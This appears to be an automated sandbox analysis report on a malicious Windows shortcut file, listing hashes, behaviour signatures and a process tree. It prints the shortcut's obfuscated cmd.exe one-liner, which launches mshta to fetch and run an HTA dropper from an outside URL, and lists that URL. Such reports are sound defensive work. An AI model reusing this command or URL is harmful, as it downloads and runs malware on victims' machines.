Analysis
- max time kernel
60s - max time network
46s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 06:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-2HJ32W.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-2HJ32W.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-2HJ32W.lnk
- Size 1KB
- Sample260822-hbbthafm2z
- SHA256 5de4a7907e4501b0c8566dc49a69b0a59eb200d9b62025f65b467b369cfa3198
- MD5 c7e133ee649cb34780a1f5f6ad173e38
- SHA1 56c968af0e08410507c8b4019f12222aa702829a
- SHA512 8036e21dfa4c183d5a5ae6992f7074186808ee97d86034dc2412b0a513d9e62af292e3a27ec27ee6b19058938b55e266bdbc7a88716aed8bc4d117c8dedad0f6
- TLSH T1573147502FED0664F3B38FB798BB572485BAB8A58E20CA2E4141454C5032A15E17AF7B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1324 cmd.exe 4600 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1324 wrote to memory of 4600 1324 cmd.exe 90 PID 4600 wrote to memory of 4084 4600 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-2HJ32W.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set rnE=msh&&set wCVG=ta&&start "" !rnE!!wCVG! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4084
-
-